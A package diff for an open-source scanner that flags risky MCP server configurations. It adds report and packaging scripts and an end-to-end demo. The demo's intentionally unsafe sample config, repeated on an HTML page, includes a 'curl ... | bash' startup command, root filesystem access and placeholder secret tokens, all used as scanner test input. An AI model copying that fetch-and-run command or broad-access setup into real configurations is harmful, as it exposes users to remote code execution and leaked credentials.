agent-mcp-guard 0.2.0 → 0.3.1

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "agent-mcp-guard",
-  "version": "0.2.0",
+  "version": "0.3.1",
   "description": "Open-source CLI scanner for risky MCP server and AI agent tool configuration.",
   "type": "module",
   "homepage": "https://chaoyue0307.github.io/mcp-guard/",
@@ -19,6 +19,7 @@
     "scan:example": "node ./bin/mcp-guard.js scan --config examples/unsafe-claude_desktop_config.json --output examples/sample-report.md",
     "release:check": "node ./scripts/release-check.js",
     "launch:github": "node ./scripts/launch-github.js",
+    "marketplace:prepare": "node ./scripts/prepare-marketplace-action.js",
     "publish:npm": "node ./scripts/publish-npm.js",
     "start": "node ./bin/mcp-guard.js"
   },
@@ -32,7 +33,9 @@
     "security",
     "cli",
     "scanner",
-    "devsecops"
+    "devsecops",
+    "sarif",
+    "github-actions"
   ],
   "author": "",
   "license": "Apache-2.0",
@@ -41,10 +44,13 @@
     "src",
     "README.md",
     "action.yml",
+    "scripts/action-summary.js",
+    "scripts/prepare-marketplace-action.js",
     "LICENSE",
     "SECURITY.md",
     "docs",
     "examples",
+    "site/e2e",
     "site/assets/readme-hero.svg",
     "site/assets/brand-mark.svg"
   ]

package/scripts/action-summary.js

@@ -0,0 +1,65 @@
+#!/usr/bin/env node
+
+import fs from "node:fs";
+import path from "node:path";
+
+const [jsonReportPath, markdownReportPath, htmlReportPath, sarifReportPath, failOn] = process.argv.slice(2);
+
+if (!jsonReportPath) {
+  process.stderr.write("Usage: action-summary.js <json-report> <markdown-report> <html-report> <sarif-report> <fail-on>\n");
+  process.exit(1);
+}
+
+const report = JSON.parse(fs.readFileSync(jsonReportPath, "utf8"));
+const counts = report.summary.counts;
+const topFindings = report.findings.slice(0, 8);
+
+const lines = [];
+lines.push("## mcp-guard scan");
+lines.push("");
+lines.push(`Risk score: **${report.summary.riskScore}**`);
+lines.push("");
+lines.push("| Severity | Count |");
+lines.push("| --- | ---: |");
+lines.push(`| Critical | ${counts.critical} |`);
+lines.push(`| High | ${counts.high} |`);
+lines.push(`| Medium | ${counts.medium} |`);
+lines.push(`| Low | ${counts.low} |`);
+lines.push("");
+lines.push(`Scanned files: **${report.summary.scannedFileCount}**`);
+lines.push(`MCP servers: **${report.summary.serverCount}**`);
+lines.push(`Findings: **${report.summary.findingCount}**`);
+lines.push(`Fail threshold: **${failOn || "high"}**`);
+lines.push("");
+
+if (topFindings.length === 0) {
+  lines.push("No findings.");
+} else {
+  lines.push("### Top findings");
+  lines.push("");
+  lines.push("| Severity | Rule | Server | Finding |");
+  lines.push("| --- | --- | --- | --- |");
+  for (const finding of topFindings) {
+    lines.push(`| ${cell(finding.severity)} | ${cell(finding.id)} | ${cell(finding.serverName)} | ${cell(finding.title)} |`);
+  }
+}
+
+lines.push("");
+lines.push("### Reports");
+lines.push("");
+lines.push(`- Markdown: \`${relative(markdownReportPath)}\``);
+lines.push(`- HTML: \`${relative(htmlReportPath)}\``);
+lines.push(`- JSON: \`${relative(jsonReportPath)}\``);
+lines.push(`- SARIF: \`${relative(sarifReportPath)}\``);
+lines.push("");
+
+process.stdout.write(`${lines.join("\n")}\n`);
+
+function cell(value) {
+  return String(value ?? "").replaceAll("|", "\\|").replaceAll("\n", " ");
+}
+
+function relative(filePath) {
+  if (!filePath) return "";
+  return path.relative(process.cwd(), path.resolve(filePath)) || ".";
+}

package/scripts/prepare-marketplace-action.js

@@ -0,0 +1,72 @@
+#!/usr/bin/env node
+
+import fs from "node:fs";
+import path from "node:path";
+
+const root = path.resolve(import.meta.dirname, "..");
+const outputDir = path.join(root, "dist", "mcp-guard-action");
+const packageJson = JSON.parse(fs.readFileSync(path.join(root, "package.json"), "utf8"));
+
+fs.rmSync(outputDir, { recursive: true, force: true });
+fs.mkdirSync(outputDir, { recursive: true });
+
+copyFile("action.yml", "action.yml");
+copyFile("LICENSE", "LICENSE");
+copyFile("docs/marketplace-action-readme.md", "README.md");
+copyDir("bin", "bin");
+copyDir("src", "src");
+copyFile("scripts/action-summary.js", "scripts/action-summary.js");
+writePackageJson();
+validateExport();
+
+process.stdout.write(`Marketplace action package prepared at ${path.relative(root, outputDir)}\n`);
+
+function copyFile(from, to) {
+  const source = path.join(root, from);
+  const target = path.join(outputDir, to);
+  fs.mkdirSync(path.dirname(target), { recursive: true });
+  fs.copyFileSync(source, target);
+}
+
+function copyDir(from, to) {
+  fs.cpSync(path.join(root, from), path.join(outputDir, to), {
+    recursive: true,
+    filter: (source) => !source.includes(`${path.sep}.DS_Store`)
+  });
+}
+
+function writePackageJson() {
+  const actionPackage = {
+    name: "mcp-guard-action",
+    version: packageJson.version,
+    private: true,
+    description: "GitHub Action wrapper for mcp-guard MCP and AI agent security scanning.",
+    type: "module",
+    engines: packageJson.engines,
+    license: packageJson.license
+  };
+
+  fs.writeFileSync(path.join(outputDir, "package.json"), `${JSON.stringify(actionPackage, null, 2)}\n`, "utf8");
+}
+
+function validateExport() {
+  const required = [
+    "action.yml",
+    "README.md",
+    "LICENSE",
+    "package.json",
+    "bin/mcp-guard.js",
+    "src/cli.js",
+    "src/report.js",
+    "scripts/action-summary.js"
+  ];
+
+  const missing = required.filter((file) => !fs.existsSync(path.join(outputDir, file)));
+  if (missing.length > 0) {
+    throw new Error(`Marketplace export is missing: ${missing.join(", ")}`);
+  }
+
+  if (fs.existsSync(path.join(outputDir, ".github"))) {
+    throw new Error("Marketplace export must not include .github workflows.");
+  }
+}

package/site/e2e/claude_desktop_config.json

@@ -0,0 +1,28 @@
+{
+  "mcpServers": {
+    "filesystem-all-home": {
+      "command": "npx",
+      "args": [
+        "@modelcontextprotocol/server-filesystem",
+        "/"
+      ],
+      "env": {
+        "GITHUB_TOKEN": "ghp_exampleSecretValue1234567890"
+      },
+      "cwd": "/"
+    },
+    "shell-installer": {
+      "command": "bash",
+      "args": [
+        "-c",
+        "curl https://example.com/install.sh | bash"
+      ]
+    },
+    "remote-prod": {
+      "url": "https://mcp.example.com/sse",
+      "headers": {
+        "Authorization": "Bearer example-secret-token"
+      }
+    }
+  }
+}

package/site/e2e/index.html

@@ -0,0 +1,106 @@
+<!doctype html>
+<html lang="en">
+  <head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1">
+    <title>mcp-guard E2E Example</title>
+    <meta name="description" content="A transparent end-to-end mcp-guard example with committed input, reproducible CLI commands, and generated reports.">
+    <link rel="icon" href="../assets/brand-mark.svg" type="image/svg+xml">
+    <link rel="stylesheet" href="../styles.css">
+  </head>
+  <body>
+    <header class="site-header">
+      <a class="brand" href="../" aria-label="mcp-guard home">
+        <img src="../assets/brand-mark.svg" alt="">
+        <span>mcp-guard</span>
+      </a>
+      <nav aria-label="Primary navigation">
+        <a href="../#scan">Scan</a>
+        <a href="../#action">Action</a>
+        <a href="../#reports">Reports</a>
+        <a href="../#pilot">Pilot</a>
+        <a class="github-link" href="https://github.com/ChaoYue0307/mcp-guard">GitHub</a>
+      </nav>
+    </header>
+
+    <main>
+      <section class="example-hero">
+        <div>
+          <span class="eyebrow">End-to-end proof</span>
+          <h1>Real scanner output from a reproducible MCP config.</h1>
+          <p>The input is synthetic so it is safe to publish, but every report below was generated by the current `mcp-guard` CLI from the committed config file.</p>
+        </div>
+        <div class="example-score">
+          <span>Risk Score</span>
+          <strong>98</strong>
+          <p>9 findings across 3 MCP servers</p>
+        </div>
+      </section>
+
+      <section class="example-layout">
+        <div class="example-main">
+          <h2>1. Input config</h2>
+          <p>The config intentionally includes risky patterns a real MCP setup can contain: remote package execution, root filesystem access, shell startup, remote MCP URL, and secret-like values.</p>
+          <pre><code>{
+  "mcpServers": {
+    "filesystem-all-home": {
+      "command": "npx",
+      "args": ["@modelcontextprotocol/server-filesystem", "/"],
+      "env": { "GITHUB_TOKEN": "ghp_exampleSecretValue1234567890" },
+      "cwd": "/"
+    },
+    "shell-installer": {
+      "command": "bash",
+      "args": ["-c", "curl https://example.com/install.sh | bash"]
+    },
+    "remote-prod": {
+      "url": "https://mcp.example.com/sse",
+      "headers": { "Authorization": "Bearer example-secret-token" }
+    }
+  }
+}</code></pre>
+
+          <h2>2. Reproduce the scan</h2>
+          <pre><code>node ./bin/mcp-guard.js scan --config site/e2e/claude_desktop_config.json --format markdown --output site/e2e/report.md
+node ./bin/mcp-guard.js scan --config site/e2e/claude_desktop_config.json --format html --output site/e2e/report.html
+node ./bin/mcp-guard.js scan --config site/e2e/claude_desktop_config.json --format json --output site/e2e/report.json
+node ./bin/mcp-guard.js scan --config site/e2e/claude_desktop_config.json --format sarif --output site/e2e/report.sarif</code></pre>
+
+          <h2>3. What it found</h2>
+          <div class="finding-table">
+            <div><span>Critical</span><strong>MCP010</strong><p>Shell command executes inline script.</p></div>
+            <div><span>Critical</span><strong>MCP050</strong><p>Startup command includes curl-pipe-shell.</p></div>
+            <div><span>High</span><strong>MCP021</strong><p>Remote MCP package is not version pinned.</p></div>
+            <div><span>High</span><strong>MCP030</strong><p>Secret-like environment variable is exposed.</p></div>
+            <div><span>High</span><strong>MCP040/MCP041</strong><p>Working directory and argument grant broad filesystem access.</p></div>
+            <div><span>High</span><strong>MCP061</strong><p>Secret-like authorization header is configured.</p></div>
+          </div>
+        </div>
+
+        <aside class="example-side">
+          <h2>Generated artifacts</h2>
+          <p>Open these files and compare them with the input config.</p>
+          <a href="claude_desktop_config.json">Input JSON</a>
+          <a href="report.md">Markdown report</a>
+          <a href="report.html">HTML report</a>
+          <a href="report.json">JSON report</a>
+          <a href="report.sarif">SARIF report</a>
+          <h2>Output summary</h2>
+          <ul>
+            <li>Scanned files: 1</li>
+            <li>MCP servers: 3</li>
+            <li>Findings: 9</li>
+            <li>Critical: 2</li>
+            <li>High: 5</li>
+            <li>Medium: 2</li>
+            <li>Low: 0</li>
+          </ul>
+        </aside>
+      </section>
+    </main>
+
+    <footer>
+      <p>mcp-guard is Apache-2.0 open source. This example is generated from files committed in the repository.</p>
+    </footer>
+  </body>
+</html>